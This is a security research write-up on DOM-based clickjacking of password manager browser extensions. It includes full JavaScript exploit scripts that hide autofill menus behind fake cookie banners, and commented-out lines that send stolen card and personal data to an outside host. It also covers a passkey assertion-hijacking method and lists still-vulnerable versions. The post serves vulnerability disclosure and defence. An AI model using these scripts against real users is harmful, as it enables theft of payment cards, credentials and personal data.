DOM-based Extension Clickjacking: Your Password Manager Data at Risk
研究人员发现了一种新的点击劫持(DOM-based Extension Clickjacking)技术,可利用浏览器扩展(如密码管理器)注入的UI元素进行攻击。该技术通过修改这些元素的可见性(如设置opacity:0),使用户在不知情的情况下点击并泄露敏感数据。测试显示11款常用密码管理器均受影响,可能导致数千万用户的信用卡信息、个人数据及登录凭证被盗。部分漏洞尚未修复,建议用户更新至最新版本以降低风险。 2025-8-28 22:23:19 Author: marektoth.com(查看原文) 阅读量:13 收藏

9 August 2025 (Updated: 22 August 2025)

This security research was presented at DEF CON 33: PDF presentation


Since the research was presented at DEFCON (August 9, 2025), several updates have been made:
Update 22.8.2025:
Bitwarden: 2025.8.1 (in progress), <=2025.8.0 (vulnerable)
Enpass: 6.11.6 (fixed) - released: 13.8.2025, <=6.11.5 (vulnerable)
KeePassXC-Browser <=1.9.9.2 (latest) is vulnerable

+ New demo sites for: 1Password, Bitwarden, iCloud Passwords, KeePassXC-Browser, LastPass
+ "Password Managers: Vulnerable & Fixed Versions" updated with the latest versions and videos


Is clickjacking still an exploitable vulnerability nowadays? Many bug bounty programs have this vulnerability listed in the "out of scope" section, and in better cases they accept it but don't reward it. The reason is that there are many protections available today that significantly reduce the impact of this vulnerability. It can be said that a common web clickjacking vulnerability has already been solved and can be easily defended against.

The result of my research is that clickjacking is still a security threat, but it's necessary to shift from web applications to browser extensions, which are more popular nowadays (password managers, crypto wallets and others).

I described a new attack technique with multiple attack variants and tested it against 11 password managers. This resulted in discovering several 0-day vulnerabilities that could affect stored data of tens of millions of users.

A single click anywhere on a attacker controlled website could allow attackers to steal users' data (credit card details, personal data, login credentials including TOTP). The new technique is general and can be applied to other types of extensions.

Table of contents:

Key Information

• A new clickjacking technique where a malicious script manipulates UI elements that browser extensions inject into the DOM by making them invisible using javascript.

• In my research, I selected 11 password managers that are used as browser extensions and the result was that all were vulnerable to DOM-based Extension Clickjacking in the default configuration. Tens of millions of users could be at risk (~40 million active installations).

• A single click anywhere on the attacker's website could leak credit card details including security codes (6 out of 9 were vulnerable) or exfiltrate stored personal information (8 out of 10 vulnerable).

• All password managers filled credentials not only to the "main" domain, but also to all subdomains. An attacker could easily find XSS or other vulnerabilities and steal the user's stored credentials with a single click (10 out of 11), including TOTP (9 out of 11). In some scenarios, passkey authentication could also be exploited (8 out of 11).

• All vulnerabilities were reported in April 2025 with a notice that public disclosure will be in August 2025. Some vendors have still not fixed described vulnerability: Bitwarden, 1Password, iCloud Passwords, Enpass, LastPass, LogMeOnce. Users of these password managers may still be at risk (~32.7 million active installations).

• For Chromium-based browser users it is recommended to configure site access to "on click" in extension settings. This configuration allows users to manually control autofill functionality.

• The described technique is general and I only tested it on 11 password managers. Other DOM-manipulating extensions are probably also vulnerable (password managers, crypto wallets, notes etc.).

Introduction

Intrusive Web Elements

While browsing websites, users often encounter intrusive web elements that block immediate access to target content. These elements require users to click to close them.

The most common intrusive elements requiring user action:

  • Cookie consent banners - 1 click (accept/decline cookies)
  • Newsletter popup, login dialog - 1 click (closing dialog)
  • Web push notifications - 1 click (accept/decline)
  • Cloudflare challenge pages / Captcha pages - 1 click (Verify you are human)
    2 clicks if verification fails, 4 or more clicks if captcha needs to be solved

1-3 clicks from the user are commonly required before accessing content.

Because users expect to interact with these elements, I will use fake intrusive web elements in a clickjacking exploit to trick the user into clicking.

Clickjacking (Web Application)

Clickjacking (or "UI redressing") is a client-side attack technique that exploits visual layering to hijack user clicks intended for legitimate interface elements. This attack uses invisible frames (iframes) to deceive users who believe they are clicking on legitimate website elements, while actually performing actions that benefit the attacker.

Basic attack principle:

  1. Attacker creates a malicious page with an invisible iframe containing the target website (opacity:0).
  2. User visits the malicious page and clicks on apparently legitimate visible elements.
  3. Clicks are actually intercepted by the hidden iframe, performing unwanted actions on the target site.
<iframe src="https://targetsite.com" style="opacity:0"></iframe>

To mitigate security impact, security headers X-Frame-Options or Content-Security-Policy are used.

X-Frame-Options: DENY 
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors https://example.com

Additionally, the SameSite Lax or Strict cookie attribute can be set to prevent cookie usage in cross-site iframes.

SameSite=Lax            cookies in cross-site POST request or cross-site iframes are blocked
SameSite=Strict         cookies only for same-site requests
SameSite=None           allowed cookies for cross-site requests

Default value is SameSite=Lax if SameSite isn't specified.

Clickjacking in web applications has minimal security impact in most cases because users are not authenticated in the loaded iframe and therefore preventing any malicious actions from being executed.

Password Managers

Password managers are widely used as browser extensions to simplify website authentication. In this research, I tested 11 password managers using a new technique.

For reference, the article The Best Password Managers for 2025 by PCMag was used for the selection of 10 password managers.

The following password managers were listed there:

  • 1Password
  • Bitwarden
  • Dashlane
  • Enpass
  • Keeper
  • LastPass
  • LogMeOnce
  • NordPass
  • ProtonPass
  • RoboForm

I also added iCloud Passwords to this list because it is widely used (5.4 million active installations - Chrome Web Store, Firefox Add-ons, Edge Add-on).

I want to mention that iCloud Passwords was tested only as a browser extension (Google Chrome, Firefox, etc.) and not as a system application with Safari integration.

Autofill feature

Password managers have autofill functionality that can be of 2 types:

  • Automatic autofill - credentials are automatically filled in (0-click)
  • Manual autofill - user interaction is required to fill in credentials (selecting from a dropdown menu)

automatic autofil                                                                manual autofill

My research focuses on clickjacking, so click is required and I was focus only on manual autofill.

On automatic autofill (mostly browsers) I published research in 2021 (You should disable autofill in your password manager).

Browser Extension Clickjacking

Clickjacking vulnerability in browser extensions works similarly to web applications. Through clicking, the user unknowingly performs an action that causes their browser extension to execute malicious activity such as data exfiltration, functionality deactivation, stored note deletion and others.

Browser extension clickjacking can currently be categorized into 2 types:

  • IFRAME-based - publicly described type (web_accessible_resources)
  • DOM-based - new described type

I will first describe the IFRAME-based variant, which was not the research focus but may be unknown to many people.

IFRAME-based

A publicly documented clickjacking technique for browser extensions exploits misconfigured web_accessible_resources in the manifest.json file.

manifest.json is the main configuration file of a browser extension. It contains basic information such as the extension’s name, version, and description, as well as settings that define what scripts, icons, and permissions the extension uses. Without this file, the browser cannot recognize or run the extension.

Chromium-based path:
chrome-extension://<extension_ID>/manifest.json

Mozilla Firefox path:
moz-extension://<extension_ID>/manifest.json

Local device path:
%LocalAppData%\Google\Chrome\User Data\Default\Extensions\<extension_ID>\<version>\manifest.json

In the web_accessible_resources part, developers explicitly define files (HTML, scripts, styles, images) that should be accessible from web pages outside the extension interface itself. If developers don't specify sufficient restrictions, attackers can abuse these resources.

Usage

When files with significant functionality (HTML files) are defined in web_accessible_resources, an attacker can create a page that loads this file into a transparent iframe and tricks users into unknowingly clicking on extension elements.

This uses basically the same principle as web application clickjacking.

Basic usage:

<iframe src="chrome-extension://<extension_ID>/file.html" style="opacity:0"></iframe>

Example

Although this isn't a new technique and information has been available for several years, some extensions still have this security vulnerability. In this research focused on password managers, one of them had this issue.

In December 2023, I reported this clickjacking vulnerability in the NordPass password manager. Due to incorrect web_accessible_resources definition, it was possible to load the entire password manager UI in an iframe.


With 4 clicks, it was possible to share all items from the password manager to an attacker's account. The result was that the attacker gained access to all stored passwords, credit cards, and personal data without the user's knowledge.

Victim's view (opacity:0)

Semi-transparent (opacity:0.5)

Because the victim was required to perform several clicks (select all, share items...), a fake Cloudflare captcha page was created as proof-of-concept. By completing the captcha, the attacker gets all data from the password manager.

A major problem here was also that the victim received no notification about the shared files.

I was awarded a $10,000 bounty for this vulnerability.

Tip: How did I know that the user clicked into the iframe so I could change the position?
I used an off-viewport element that has onblur="iframeClick()". If a user clicks into the iframe => the element lost focus and iframeClick() was executed, which changed the position and set focus again for that element.

In the past, the MetaMask cryptocurrency wallet, for example, had the same vulnerability (source, source2).

Manifest

With Manifest V3, resource access is now explicitly controlled through the matches parameter, requiring developers to define the exact origins from which resources may be loaded.

"web_accessible_resources": [
  {
    "resources": ["image.png", "script.js"],
    "matches": ["https://example.com/*"]
  }
]

In Manifest V2, there was no restriction to specific sources, making it always possible to load files from any domain.

"web_accessible_resources": [
  {
    "resources": ["image.png", "script.js"]
  }
]

Protection

Only necessary files should be defined in the web_accessible_resources.

When exposing HTML or script files that enable extension interaction, such as state modification, background script communication, or sensitive operations restrict access using the matches parameter to limit loading to specific trusted domains.

Additional protection requires implementing X-Frame-Options: DENY headers or Content-Security-Policy: frame-ancestors 'none'. These headers must be applied to all HTML responses served through web_accessible_resources.

DOM-based Extension Clickjacking

A new clickjacking technique where a malicious script manipulates UI elements that browser extensions inject into the DOM.

The principle is that a browser extension injects elements into the DOM, which an attacker can then make invisible using javascript.

To change visibility is used opacity:0 to various elements or overlay UI components.

In my case, focusing on password managers, the manual autofill feature was used to increase impact.

Password Manager Exploit Steps:

  1. Create an intrusive element (cookie consent, cloudflare captcha etc.)
  2. Create a form (login, personal data... )
  3. Set transparency for the form (opacity: 0.001)
  4. Use focus() for the form input → the autofill dropdown menu will appear
  5. Make the UI invisible with DOM-based Extension Clickjacking
  6. Victim accepts/rejects cookies = clicks on the invisible UI
    → data will be filled into the newly created form (2.)
    → attacker gets data from the form values

Types & Subtypes:

DOM-based Extension Clickjacking can be divided into several types/categories. Each manipulates DOM elements differently, but the result is always the same - the UI is invisible but clickable.

DOM-based Extension Clickjacking
├── Extension Element
│       ├── Root Element
│       └── Child Element
├── Parent Element
│       ├── BODY
│       └── HTML
└── Overlay
        ├── Partial Overlay
        └── Full Overlay

Extension Element

This is the most basic type, discovered in November 2023, which initiated this entire research. I initially reported only this variant. Later, in early 2025, I identified two additional types and documented the complete DOM-based technique.

In this type, the opacity:0 is set for the extension element.

Root Element

The user sets opacity directly on the extension's root element.

document.querySelector("root-element").style.opacity = 0;

For example, Proton Pass was vulnerable to this type of attack. To change visibility, the following code was used:

document.querySelector("protonpass-root").style.opacity = 0.5;

Child Element

The user sets opacity on the extension's child elements. This usually occurred when a Shadow Root (open) was used, making the element accessible.

document.querySelector("child-element").style.opacity = 0;

Proton Pass remained vulnerable after the "Root Element" fix since child elements were still modifiable. Attackers had to just identify the root element name (changing per page refresh) before modifying child element opacity.

// find root element 
const x = Array.from(document.querySelectorAll('*'))
  .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'));

x.shadowRoot.querySelector("iframe").style.cssText += "opacity: 0 !important;";

Parent Element

In this type, the user sets opacity:0 for the parent element that contains the extension element.

BODY

The user sets opacity:0 for <body> element, which makes the extension UI transparent.

After this setting, the <body> will be invisible, so the user sets a background-image on the <html> element.
The background image used is a screenshot of the website (can be used image or svg).

document.body.style.opacity = 0;
document.documentElement.style.backgroundImage = url("website.png");

Exploit code: Parent Element - BODY

// CREDIT CARD FORM
var cardform = document.getElementById('cardform');
if (!cardform) {
        cardform = document.createElement('cardform');
        cardform.id = 'cardform';
        cardform.style = "position: fixed; bottom: 0px; left:0px; z-index: 2147483647; opacity:0.1";
        cardform.innerHTML  = `<form method="post" name="card" onchange="getCardValues()" action="/" id="creditcard" autocomplete="off" novalidate="" style="opacity:0.1">
                <input type="text" id="cardnumber" name="cardnumber" placeholder="" autocomplete="cc-number new-password" maxlength="19" inputmode="numeric" pattern="\d*" style="cursor:pointer">
                <input type="text" id="expiry" placeholder="" autocomplete="off" inputmode="numeric" pattern="\d*" autofocus>
                <input type="text" name="cvc" id="cvc" placeholder="" autocomplete="cc-csc new-password" maxlength="3" inputmode="numeric" pattern="\d*">
                </form>`;
        document.body.appendChild(cardform);
}
// SET BACKGROUND-IMAGE
window.setTimeout(function(){
    document.querySelector("html").style.backgroundImage = "url(website.png)";
    document.getElementById('cardform').style = "position: fixed;top: 453px;left: 467px;z-index: 2147483647;";
    document.getElementById('cardnumber').focus();
    document.querySelector("body").style.opacity = "0.001";
}, 1000);


// GET DATA FROM INPUTS
function getCardValues() {
    var cardnumber = document.getElementById('cardnumber').value;
    var expiry = document.getElementById('expiry').value;
    var cvc = document.getElementById('cvc').value;
    if (expiry && cvc) {

            // DATA WILL BE IN CONSOLE
            console.log("cardnumber="+cardnumber+"&expiry="+expiry+"&cvc="+cvc);
        
            /* Sending data to external server
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "https://example.com/?cardnumber="+cardnumber+"&expiry="+expiry+"&cvc="+cvc, true);
            xhttp.send();
            */
            
            // AFTER STEALING DATA - OPACITY:1 FOR BODY
            cardform.style.display = "none";
            document.querySelector("body").style.opacity = "1";
            document.querySelector("html").style.backgroundImage = "";
    }

}

HTML

The user sets opacity:0 for <html> element, which makes everything transparent.

Victim must click on blank page, that less practical but still exploitable.

Must to be created "clicking" game - Reaction Time or Visual Memory Test. For example, the user might have to click on a white screen to test how fast their reactions are.

document.documentElement.style.opacity = 0;

Overlay

In this type, the user does not change the opacity but overlays the UI.

Partial Overlay

The user creates elements around the extension UI with only a few pixels remaining visible (small clickable area).

The goal is that injected elements must be last in the DOM with maximum z-index value. Extension elements in many cases also have the maximum z-index value - the last element in the DOM will be 'on top'.

Or using Popover API for these elements (=top layer element). In some cases, it's necessary to use both methods = the last popover element in DOM.

The user then creates a UI for these elements that forces the user to click - background image for new elements (website screenshot) or inserted HTML code with intrusive web elements.

Full Overlay

The user creates an element that covers the entire extension UI.

Because it's completely covered, it would normally not be clickable but with using pointer-events:none it can be. This way, clicks can pass through the element → click on extension UI.

Same as "Partial Overlay", the goal is that injected elements must be last in the DOM with maximum z-index value. Or using Popover API for these elements (=top layer element). In some cases, it's necessary to use both methods = the last popover element in DOM.

Popover is used with popover="manual" - element is not closed after click.

To display the Popover element, the following code is used:

document.getElementById('x').showPopover(); 

The user then creates a UI for these elements that forces the user to click - background image for new elements (website screenshot) or inserted HTML code with intrusive web elements.

Exploit code: Full Overlay

// COOKIE BANNER
const dialog = document.createElement("cookie");
dialog.innerHTML = `<div id="popover" popover="manual" style="pointer-events: none; display: none; position: fixed; top: 0px; left: -10px; width: 101%; height: 101%; opacity:0.5"><div id="overlay"></div><style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #cookie-dialog {display: block!important; position: relative!important; opacity: 1!important; visibility: visible!important; margin: 290px auto 0!important; width: 650px!important; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important; max-width: 90%!important; background: #ffffff!important; padding: 12px 24px!important; overflow: hidden!important; z-index: 9999!important; border: 10px solid #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important; line-height: 1.2!important; text-align: left!important; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: -280px !important;left: 0px !important;font-family: Arial,serif!important;z-index: 2258594000!important;} #cookie-dialog h2 {font-size: 20px!important; line-height: 16px!important; font-weight: 700!important; margin: 10px 0 16px!important; } #cookie-dialog p {margin: 12px 0!important; line-height: 16px!important; text-indent: 0!important; font-weight: 400!important; font-size: 10pt!important; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important; margin-right: 265px!important; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important; color: #000000!important; background: #ffffff!important; padding: 7px 10px!important; text-decoration: none!important; } #cookie-dialog #accept-all {border: none!important; color: #ffffff!important; background: #5fa624!important; text-decoration: none!important; } #links {display: flex!important; font-size: 12px!important; margin-top: 20px!important; } #cookie-dialog a {color: #5fa624!important; text-decoration: none!important; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important; width: auto!important; height: auto!important; position: relative!important; } #accept-all:hover {cursor: pointer!important; background: #5fa624!important; text-decoration: none!important; } .btn:hover {cursor: pointer!important; background: #ffffff!important; text-decoration: none!important; }</style><div id="cookie-div"><div id="cookie-dialog"> <div> <h2>Privacy & Transparency</h2> <p>We and our partners use cookies to  Store and/or access information on a device. We and our partners use data for  Personalised ads and content, ad and content measurement, audience insights and product development. An example of data being processed may be a unique identifier stored in a cookie. Some of our partners may process your data as a part of their legitimate business interest without asking for consent. To view the purposes they believe they have legitimate interest for, or to object to this data processing use the vendor list link below. The consent submitted will only be used for data processing originating from this website. If you would like to change your settings or withdraw consent at any time, the link to do so is in our privacy policy accessible from our home page.</p><p><span id="button-row"><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;border: 1px solid #3bb830 !important;">Accept</button><button id="decline-all" class="btn" style="color: rgb(0 0 0) !important;background: #ffffff !important;border: 1px solid #000000 !important;position: absolute;left: 100px;">Decline</button> </span> </p> <div id="links"> <span class="bar"></span></div></div></div></div></div>`;
document.body.appendChild(dialog);

// POPOVER ON COOKIE BANNER
setTimeout(() => {
    document.getElementById('popover').style.display = '';
    document.getElementById('popover').showPopover();
}, 1000);

// PERSONAL DATA FORM - onchange="getData()"
setTimeout(() => {
    const personalform = document.createElement('div');
    personalform.id = 'personalform';
    personalform.style = "position: fixed; top: 179px;left: 430px;z-index: 2147483647;";
    personalform.innerHTML  = `<form method="post" onchange="getData()" name="personaldata" action="/" id="personaldata"> 
    <input id="name" name="name" type="text" autocomplete="name"> 
    <input id="email" name="email" type="text" autocomplete="email" autofocus> 
    <input id="phone" name="phone" type="text" autocomplete="tel"> 
    <input id="street" name="street" type="text" autocomplete="street-address"> 
    <input id="zipcode" name="zipcode" type="text" autocomplete="postal-code"> 
    <input id="city" name="city" type="text" autocomplete="address-level2"> 
    <input id="country" name="country" type="text" autocomplete="country"> 
    </form> `;
    document.body.appendChild(personalform);
    
    // NAME INPUT FOCUS - DROPDOWN MENU
    setTimeout(() => {
        document.getElementById('name').focus();
    }, 1000);
    
}, 2000);


// GET DATA FROM INPUTS
function getData() {
    const name = document.getElementById('name').value;
    const email = document.getElementById('email').value;
    const phone = document.getElementById('phone').value;
    const street = document.getElementById('street').value;
    const zipcode = document.getElementById('zipcode').value;
    const city = document.getElementById('city').value;
    const country = document.getElementById('country').value;
    if (city && country) {
            var personalData = [name, email, phone, street, 
                                zipcode, city, country].join('-');

            // DATA WILL BE IN CONSOLE
            console.log(personalData);
        
            /* Sending data to external server
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "https://example.com/?data="+personalData, true);
            xhttp.send();
            */
                        
            // HIDE NEW FORM & COOKIE BANNER
            document.getElementById('personalform').style.display = "none";
            document.getElementById('popover').style.display = "none";
    }
}

Position

Within the exploit, various positioning methods can be used for the extension UI (autofill UI).

Fixed click position

The UI can have a fixed position below the "click" element, such as:

  • accept / decline cookies
  • checkbox - “Verify you are human”
  • x - closing newsletter / login dialog

This method sets a fixed position directly on the extension element.

A better and simpler method is to set a fixed position for the new form - the autofill UI will open where the form is located.

Under mouse cursor (UI that follows mouse cursor)

As the name suggests, it can be set so that the UI is always under the mouse cursor

  • extension element position override
    - the extension element position is set to the current mouse coordinates
  • new form position (login, personal data…)
    - the newly created form position has the current mouse coordinates
    - every 100ms focus() on input = UI follows the form

Result: 1 click anywhere on the website = An attacker has your data (see more the Impact section)

document.addEventListener('mousemove', function (event) {
      document.getElementById('personalform').style = "top: "+(event.pageY - 50)+"px; left:"+(event.pageX - 100)+"px; width: 200px; position: fixed; z-index: 2147483647 !important; opacity: 0.5;";
      
      window.setTimeout(function(){
            document.getElementById('name').focus();
      }, 100);

});

Password Managers: Test Results

The table below shows the status of whether password managers were vulnerable to DOM-based Extension Clickjacking. All password managers were in the default configuration.

Current vulnerability status is in section Password Managers: Vulnerable & Fixed Versions.

Detection

All vulnerable password managers can be combined into one script.

The script can simply detect which UI elements are present in the DOM and then use the correct method. This allows an attacker to use one universal script against all the described password managers.

Lock/Unlock Detection

By analyzing DOM element attributes, attackers can determine whether a password manager is currently locked or unlocked.

An attacker therefore doesn't need to display "cookies" elements to obtain clicks, since they know the attack wouldn't be successful. Alternatively, they can use various social engineering techniques to cause the password manager to be unlocked.

Impact

Because the exploit script uses manual autofill functionality, the impact is categorized by the type of data that are filled in.

Attacker’s website

An attacker can use their own website with javascript exploit and can exfiltrate these data:
Credit Card - credit card number, expiration date, security code
Personal Data - name, email, phone, address, date of birth (some password managers)

⚠️ This data is not domain-specific = can be autofilled on any website ⚠️

*Keeper was not exploitable for these data on attacker's website

1 click on an attacker's website
the attacker has your stored credit card details or your personal information.

2 clicks and the attacker has both data (credit card details + personal data)

PoC Video:

In the following video, the user uses RoboForm and the attacker forces the user to make 2 clicks → the attacker exfiltrates the user's credit card details and personal data

Same example but with opacity:0.5 - RoboForm UI more visible

ProtonPass is marked as "Not supported" because it doesn't have autofill for credit cards, only copy/paste can be used. However, autofill functionality was planned (roadmap for spring 2025).

1Password is marked as "not vulnerable" (✅) for Credit Card because user has to click on "OK" in dialog. But there was a problem with the dialog text ⚠️.

Only when filling credit card details was a generic consent dialog displayed for filling a "1Password item". After confirmation, the credit card was filled in. This dialog only appeared for credit cards, and users could be confused about what data was actually being filled.

The following video exploits this generic text:

  1. First, the attacker exfiltrates personal data (including the email address).
  2. Next, an email input is shown for entering an email address to receive a discount coupon.
  3. The user is shown a generic consent dialog to fill in a "1Password item" (the user does not realize this is the credit card).
  4. After confirmation, the attacker steals the credit card details and fills the input field with the user's email address exfiltrated in 1).
  5. Credit card autofill wasn't vulnerable to clickjacking, but could still be exploited due to generic dialog text.

1Password: Personal Data + Credit Card, generic text in alert (opacity:0)

1Password: Personal Data + Credit Card, generic text in alert (opacity:0.5)

Website with vulnerability (e.g. XSS)

In this case, the attacker needs to find some vulnerability, such as XSS, subdomain takeover, web cache poisoning or other. The goal is for the attacker to be able to execute their javascript code on a trusted domain. For simplicity, I will use "XSS" beacuse it's the most common type of vulnerability in web applications.

The attacker can exfiltrate these data:
Login credentials - username, password, TOTP (2FA)

Password managers allow not only storing credentials, but also storing TOTP (Time-based one-time password). If a user saves TOTP in the password manager instead of in another application (Google Authenticator), the attacker could also exfiltrate TOTP, often without additional user interaction.

Domain autofill
The attacker can only steal credentials for the vulnerable domain.
But on the other hand, there is a huge advantage for the attackers. ⚠️ All password managers fill credentials not only into the same domain where the credentials were stored, but also into all subdomains or parent domain in default configuration ⚠️.

Credentials Saved Autofilled (manual autofill)
example.com subdomain.example.com
example.com test.subdomain.example.com
subdomain.example.com subdomain2.example.com
subdomain.example.com example.com

Subdomain autofill in Keeper. Other password managers have same behaviour ⚠️.

If a user has stored credentials for Google account, they will have them saved for: accounts.google.com
The attacker only needs to find XSS, for example, on test.dev.sandbox.cloud.google.com and still he can use DOM-based extension clickjacking technique and steal user's credentials for Google account.

So the attacker isn't limited to a small scope, he can find vulnerabilities anywhere on: *.example.com/*

*automatic autofill enabled by default (0-click autofill)

PoC Video:

In the following video, the attacker found an XSS vulnerability on a trusted domain (issuetracker.google.com) and shared a link on a social network:
→ the victim makes 3 clicks on fake intrusive elements
→ the attacker stole data: login credentials + TOTP (stored for accounts.google.com), credit card details, personal data

Besides login credentials, another impact can be:
Passkeys - signed assertion hijacking (authentication flow hijacking)
→ attacker creates a new session for victim account

Passkeys are very strictly domain-limited and it's not possible to find a vulnerability on a subdomain in this case. The only exception would be if CORS requests to the passkeys auth server were allowed for the subdomain.


Even passkey dialogs can be made invisible

In some cases, it was possible to exploit passkey authentication using DOM-based extension clickjacking. One method of exploitation was "Signed Assertion Hijacking".

When creating a challenge, it is recommended that a session is also created on the server = session-bound challenge (source1, source2).

This is how the basic passkeys login flow looks like:

If the server doesn't create a session along with the challenge, it's possible to exploit the entire authentication flow. This results in "signed assertion hijacking," where the attacker steals the signed assertion request and because nothing is required (no session), the attacker can use it to complete the login.

How does the attacker get this request? This can be done either by using XSS to intercept HTTP communication and forwarding the request to attacker server. Or by using XSS to modification the same passkey script but change the endpoint for the signed assertion. Again, they would send this request to their own server. This request is always one-time use, so XSS must be used to prevent the victim from sending it to the auth server.

How common is it for servers not to implement session-bound challenges? I looked at the FIDO Certified Showcase ("The FIDO Company Showcase highlights FIDO Alliance members and their FIDO Certified solutions.") and tested all passkey solutions (Category→Passkeys). After filtering, I got 17 results. Not all solutions had a demo or SDK - I found 7.

The result was that 4 out of 7 did not implement "session-bound challenge", making this attack exploitable.
☠️ Hanko - https://www.hanko.io (demo: https://www.passkeys.io)
☠️ SK Telecom - https://www.sktelecom.com (demo: https://portal.passkey-sktelecom.com)
☠️ NokNok - https://noknok.com (demo: https://bankauth.noknokdemo.com)
☠️ Authsignal - https://www.authsignal.com (demo: https://demo.authsignal.com)

One example is the Hanko solution, used for the PoC demonstration (Hanko.io has 8,300 stars on GitHub).

The screenshot shows that the "signed assertion" request doesn't contain session data.

Upon intercepting this request, an attacker can replay it to receive a "200 OK" response with a newly session (auth token).

How does the entire attack work?

  1. The attacker finds XSS on a server where passkeys are used
  2. Copies the entire passkey script and changes the "signed assertion" endpoint to their own server
  3. Executes the passkey script via XSS and uses DOM-based extension clickjacking technique to hide the passkey dialog
  4. The victim visits the URL with XSS vulnerability and clicks once (accept cookies = confirming the login via passkeys)
  5. The attacker obtains the signed challenge (signed assertion), which is sent to their server
  6. The attacker sends the signed assertion from their server to the auth server
    → because no session was required, signed assertion request wasn't used and the request contained a valid signed challenge, the entire request was valid and the attacker is logged in as victim (with newly created session)

PoC Video:

In the following video, the victim uses ProtonPass and then makes a single click (accept cookies). The attacker gets "signed assertion" request and was able to send it to the server.

Besides FIDO solutions, I found some others as well. I tested primarily on their demo solutions and again there was no "session-bound challenge" implementation.

Other solutions without "session-bound challenge" implementation:
Passage - https://passage.1password.com (demo: https://passage.1password.com/demo)
Corbado - https://www.corbado.com (demo: https://passkeys.eu)
Descope - https://www.descope.com (demo: https://www.passkeys.guru)

In many cases, passkey solutions do not verify users when adding additional devices ⚠️ = the attacker is able to add their own device and thereby gain "Persistent Access".
→ he will always be able to log into the account using the added passkey (until the victim removes it)

The result is that if there were no clickjacking vulnerability in the password manager, this method would not be easily exploitable = the user would see a passkey dialog that they would have to confirm.

1 click from the victim - the attacker has access to victim's account even when passkeys are used for authentication (the attacker has a new session for the victim's account.)

*automatic autofill enabled by default (0-click autofill)

Data Impact Summary

Credit Card - credit card number, expiration date, security code
Personal Data - name, email, phone, address, date of birth (some password managers)
Login credentials - username, password, TOTP (2FA)
Passkeys - signed assertion hijacking (authentication flow hijacking) = creating a new session

Password Managers: Vulnerable & Fixed Versions

*automatic autofill enabled by default (0-click autofill)

Fixed means that only the described methods from this research are patched ⚠️. If other methods exist or there is some bypass, then the extensions are still vulnerable (but I don't know of any at the moment).

Fix Status (Updated: 22.8.2025)

VULNERABLE

1Password
Vulnerable version: <=8.11.7.2 (latest)
Vulnerable methods: Parent Element, Overlay
Videos: opacity:0 opacity:0.5
In addition to the clickjacking vulnerability, 1Password has confusing texting in the dialog box when filling in a credit card. There is generic text "item". The user may not know that it is a credit card.

PoC with Credit Card:

See more in Credit Card section

Bitwarden
Vulnerable version: <=2025.8.0 (latest)
Vulnerable methods: Overlay
Videos: opacity:0 + opacity:0.5

Do you think that stealing a payment card or personal data with a single click is a high severity issue?
Bitwarden sees this vulnerability slightly differently. Maybe it could be reason why it was not fixed even after more than 4 months.

iCloud Passwords
Vulnerable version: <=3.1.25 (latest)
Methods: Overlay
Videos: opacity:0 opacity:0.5
Acknowledgements: August 2024 https://support.apple.com/en-us/122162
Fixed: Extension Element <2.3.22 (12.8.2024)

LastPass
Vulnerable version: <=4.146.3 (latest)
Vulnerable methods: Extension Element, Parent Element, Overlay
Videos: opacity:0 opacity:0.5
Fixed: Credit Card, Personal Data <=4.125.0 (15.12.2023)

LogMeOnce
Vulnerable version: <=7.12.4 (latest)
Vulnerable methods: Extension Element, Parent Element, Overlay
Videos: opacity:0 opacity:0.5

KeePassXC-Browser
Vulnerable version: <=1.9.9.2 (latest)
Vulnerable methods: Extension Element, Overlay
Videos: opacity:0 + opacity:0.5 (1.9.9.2), clean installation & default settings: opacity:0 + 0.5 (1.9.9.2)

Below is a video for version 1.9.9.1. The same vulnerability is in version 1.9.9.2.

FIXED
Below is an overview of the fixed versions. If some method is missing, it only means that I can't trace back in which specific version it was.

Dashlane
Fixed: v6.2531.1 (1.8.2025)
Security Overview: https://support.dashlane.com/hc/en-us/articles/28598967624722-Advisory-Passkey-Dialog-Clickjacking-Issue

Enpass
Fixed: 6.11.6
Release Notes: https://www.enpass.io/release-notes/enpass-browser-extensions/
Vulnerable:
Parent Element, Overlay <=6.11.5
Extension Element <6.11.4.2

Keeper
Fixed: 17.2.0
Vulnerable:
Extension Element <17.1.2 (26.5.2025)
Overlay <17.2.0 (25.7.2025)

NordPass
Fixed: 5.13.24 (15.2.2024)

ProtonPass
Fixed: 1.31.6
Acknowledgements: https://proton.me/blog/protonmail-security-contributors
Vulnerable:
Extension Element, Parent Element <1.9.5 (22.12.2023)
Extension Element <=1.31.0 (CRX)
Overlay <=1.31.4

RoboForm
Fixed: 9.7.6 (25.7.2024)
Release Notes: https://www.roboform.com/news-ext-chrome
Vulnerable:
Extension Element <9.5.6 (7.12.2023)
Parent Element, Overlay <=9.7.5 (25.7.2024)

Demo Sites

Update 22.8.2025: New Demo Sites - Login Credentials

To test the credentials, you first need to save the details. You can do here.

Script works with: 1Password (8.11.7.2), Bitwarden (2025.8.0), iCloud Passwords (3.1.25), KeePassXC-Browser (1.9.9.2), LastPass (4.146.3)

Created for chromium-based browsers, used "fixed" position for easy debugging:
opacity:0.5: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/visible opacity:0: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/


You can try vulnerable password managers on demo sites. It is prepared for 1Password and Bitwarden.

